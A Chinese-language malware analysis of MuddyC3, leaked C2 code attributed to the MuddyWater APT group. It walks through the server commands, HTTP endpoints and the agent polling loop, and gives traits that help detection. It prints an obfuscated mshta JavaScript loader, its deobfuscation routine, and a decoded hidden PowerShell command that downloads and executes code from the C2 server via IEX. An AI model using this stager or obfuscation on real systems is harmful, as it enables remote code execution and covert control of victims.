污水攻擊MuddyC3開源程式碼分析
- 2019 年 10 月 6 日
- 筆記
前言
MuddyWater是一個伊朗威脅組織,主要針對中東、歐洲和北美國家。該組織針對的目標主要是電信,政府(IT服務)和石油部門。眾多安全研究機構針對muddywater的樣本進行了深入的研究。2019年6月24日,名為0xffff0800的用戶在twitter上發表推文表示,其開源了污水攻擊的python版程式碼。本文就該程式碼,一窺muddywater的攻擊過程。

該用戶在github上開源的程式碼有兩個版本,本次我們分析的是1.0.1版本。

整體結構

MuddyC3的整體C2通訊結構圖如上所示:
整個通訊過程有三個要素,即攻擊端、C2網站和目的主機。其中C2網站指的是被攻擊者拿到控制許可權的web網站。C2網站可能不止一個。攻擊過程中,攻擊者將攻擊指令以powershell程式碼的形式注入C2網站,被感染的目的主機主動向C2網站發送http請求,得到攻擊命令,調用powershell介面執行命令。
APT攻擊分三個階段進行,分別是:(1)感染;(2)C2通訊;(3)資訊泄漏。本文中我們直接將惡意程式部署在目標主機上,因此感染階段略去不提。值得注意的是,真實場景中,污水攻擊感染過程通過傳播宏病毒展開。目標主機感染宏病毒後會進行修改註冊表等操作。
一、服務端
1.1服務端運行
運行muddyc3.py文件

需要輸入ip、埠和是否需要代理輸入完成後進入命令介面(見1.1.6help命令)
1.1.1 list命令
用來列舉agent資訊,列舉結果示意如下:

1.1.2 show命令
目前尚未開發。
1.1.3 use命令
use命令後需要agent id作為參數,命令格式為:
use id
命令結果是進入id下的命令介面:

在該介面發出命令,相應命令分析見2.2.2節。以/get命令為例:

1.1.4 payload命令
payload命令列舉出目前服務端程式中已有的powershell注入命令。

1.1.5 back命令

1.1.6 help命令

1.1.7 exit命令

exit命令結束客戶端程式。
1.2參數分析
通過分析core.cmd.py文件,得出AGENTS字典中每個元素的結構如下:
角標 |
參數 |
歸屬 |
---|---|---|
* |
id |
key值 |
0 |
ExternalIP |
data |
1 |
id |
data |
2 |
status |
data |
3 |
os |
data |
4 |
InternalIP |
data |
5 |
Arch |
data |
6 |
ComputerName |
data |
7 |
UserName |
data |
AGENT是一個'id:data'形式的字典,其中data格式如下:
角標 |
參數 |
---|---|
0 |
id |
1 |
status |
2 |
Internal IP |
3 |
OS |
4 |
Arch |
5 |
Computer Name |
6 |
User Name |
在core.webserver.py文件中,url訪問功能分類如下:
編號 |
類別 |
表示方法 |
get/post |
功能或結果 |
---|---|---|---|---|
1 |
index |
/ |
get |
返回『hello』 |
2 |
payload |
/get |
get |
返回『config/PAYLOAD()』 |
3 |
payloadc |
/getc |
get |
返回『toB52(config/PAYLOAD())』 |
4 |
payloadjf |
/hjf |
get |
返回C://ProgramData下a.zip和b.ps1 |
5 |
payloadjfs |
/hjfs |
get |
返回C://ProgramData下sct.ini |
6 |
sct |
/sct |
get |
返回ps1文件 |
7 |
mshta |
/hta |
get |
返回ps1文件 |
8 |
info |
/info/~ |
post |
查詢id,若不存在則在AGENTS中添加 |
9 |
download |
/dl/~ |
post |
從服務端指定路徑下載文件 |
10 |
upload |
/up |
暫不支援該功能 |
|
11 |
img |
/img/~ |
post |
得到相關img |
12 |
command |
/cm/~ |
get |
得到『config.COMMAND[id]』中的命令 |
13 |
result |
/re/~ |
post |
得到指定id主機的data |
14 |
modules |
/md/~ |
post |
添加模組 |
1.3webserver分析
運行後可以訪問之前輸入的C&C地址
訪問index路徑,即192.168.11.193:1234

訪問get路徑,得到payload


訪問/getc路徑得到payload的base64編碼,另有/hjf、/hjfs路徑與此相似
訪問download路徑




訪問/info,由於info使用post包,

調整AGENTS和post請求包body結構後,結果如下:

第二次添加

訪問info路徑的post請求組成:

二、客戶端
2.1客戶端運行
python腳本中運行powershell命令,會出現安全問題

以管理員身份運行powershell,


2.2客戶端流程
2.2.1訪問/info
客戶端開啟後,首先訪問/info進行註冊,註冊用id在本地是以隨機數形式確定,然後向服務端發送post包。客戶端首先向服務端詢問對應id是否存在,若存在則服務端返回『NONE』,客戶端重新選取隨機數進行註冊直至成功。註冊成功後,客戶端回饋:

2.2.2訪問/cm
帶id訪問/cm介面,訪問/cm/[id],取得服務端發送的控制命令,控制命令組成如下:
編號 |
表示 |
意義 |
---|---|---|
1 |
/get |
訪問/get介面 |
2 |
/getc |
訪問/getc介面 |
3 |
/hjf |
訪問/hjf介面 |
4 |
/hjfs |
訪問/hjfs介面 |
5 |
/sct |
訪問/sct介面 |
6 |
/hta |
訪問/hta介面 |
7 |
dl |
訪問/dl介面 |
8 |
/up |
訪問/up介面 |
9 |
/img |
訪問/img介面 |
10 |
/md |
訪問/md介面 |
11 |
其他 |
其他powershell可以直接執行的命令 |
服務端順序發出了三個命令:

客戶端取命令:



由此可見客戶端取命令時按服務端下命令的順序,一次取一個,取完之後所有命令後,再訪問/cm/[id],得到的數據為空

2.2.3訪問/re
客戶端取出命令後執行,然後在/re/[id]介面返回執行結果。服務端的顯示:

客戶端的顯示:

三、powershell命令分析
污水攻擊的命令均以powershell方式執行,接下來我們跟隨服務端給出的順序來分析powershell命令。首先,服務端啟動時,給出的網址為:
mshta http://192.168.11.193:1234/hta
訪問hta:得到的js程式碼為:
var es = '%gk{dmFyI!~tPSJw,3dlcn~oZW-sI%1le!VjI!J5c!FzcyAtdyA-I%1jI%RWPW5ldy1vYmplY3Qg,mV0LndlYm~s[WVud@skVi5wc**4eT1,TmV0LldlYlJlcXVlc3Rd}jp$ZXRTeX~0ZW1XZWJQc**4eSgp}yRWLlBy,3h5Lk~yZWRl,nRpYW-zPVt}ZXQuQ3JlZ!Vud!lh,*~hY2hlXTo6R!VmYXVsd*~yZWRl,nRpYW-z}0lFW%gkVi5k,3du,!9hZ$~0cmluZygn[$R0c@ovLz*5Mi4-~jguMT*uMTkz}j*yMzQvZ2V0Jykp}yI7%nZhciB3MzJwcz0gR2V0T2JqZW~0{%d3[W5tZ210czon{S5$ZXQoJ1dp,jMyX1By,2~lc3~Td!Fyd$VwJyk7%nczMnBzLl~wYXduSW5zd!FuY2Vf{%k7%nczMnBzLl~o,3dX[W5k,3c9M@s{dmFyI$J0cm5@,2RlPUdld*9i[mVjd%gnd2lu,Wdtd$M6JykuR2V0{%dX[W4zMl9Qc**jZX~zJykuQ3JlYXRl{!~tL%dj}l-cJy-3MzJwcy-udW-s{Ts{'; eval(bas(es));
其中對es變數做了如下混淆:
string = replaceAll(']','=',string); string = replaceAll('[','a',string); string = replaceAll(',','b',string); string = replaceAll('@','D',string); string = replaceAll('-','x',string); string = replaceAll('~','N',string); string = replaceAll('*','E',string); string = replaceAll('%','C',string); string = replaceAll('$','H',string); string = replaceAll('!','G',string); string = replaceAll('{','K',string); string = replaceAll('}','O',string); var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var result = '';
解混淆後得到的js程式碼如下:
var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://192.168.11.193:1234/get'));"; var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup'); w32ps.SpawnInstance_(); w32ps.ShowWindow=0; var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\',w32ps,null);
在powershell中執行後,向http://192.168.11.193:1234/get發get請求,得到已經存在於服務端的payload.ps1文件的內容,但是由於payload.ps1沒有開源,所以powershell的解析不能繼續向下進行。
四、流量分析
捕獲本地流量如下:


目的埠是在服務端輸入指定,源埠隨機。
(本次實驗中指定的目的埠為1234,源埠從9141開始,每個包累加)
五、污水攻擊特點總結
5.1心跳周期
被控端定期向主控端發出get請求,查看是否有新的命令。
http://192.168.11.193:1234/cm/[id]
5.2 http請求成對出現
一次取命令對應一次命令執行結果回傳。
http://192.168.11.193:1234/cm/[id] http://192.168.11.193:1234/re/[id]
5.3雲控下發powershell腳本
傳統遠控採取命令約定方式,主控端向被控端發送命令程式碼,被控端在後門程式碼中匹配成功然後執行。
而污水攻擊不再使用命令程式碼,而是就地採用被控端本地現有工具powershell,將命令以高度混淆的powershell形式下發,這樣做保證了樣本即使被捕獲,惡意活動不會暴露、C2伺服器不會被溯源。
5.4可濫用web2.0網站作為資訊傳輸中介
任何主機可以不經註冊訪問網站,向網站發出http請求。
污水攻擊利用的web2.0網站的伺服器是攻擊者控制的,因此有被溯源的風險。
5.5協議:http
明文不加密。
相關鏈接
【1】開源程式碼地址:https://github.com/0xffff0800/MuddyC3v1.0.1- 【2】muddywater相關介紹:https://attack.mitre.org/groups/G0069/
*本文作者:BUPT/Yoni,轉載請註明來自FreeBuf.COM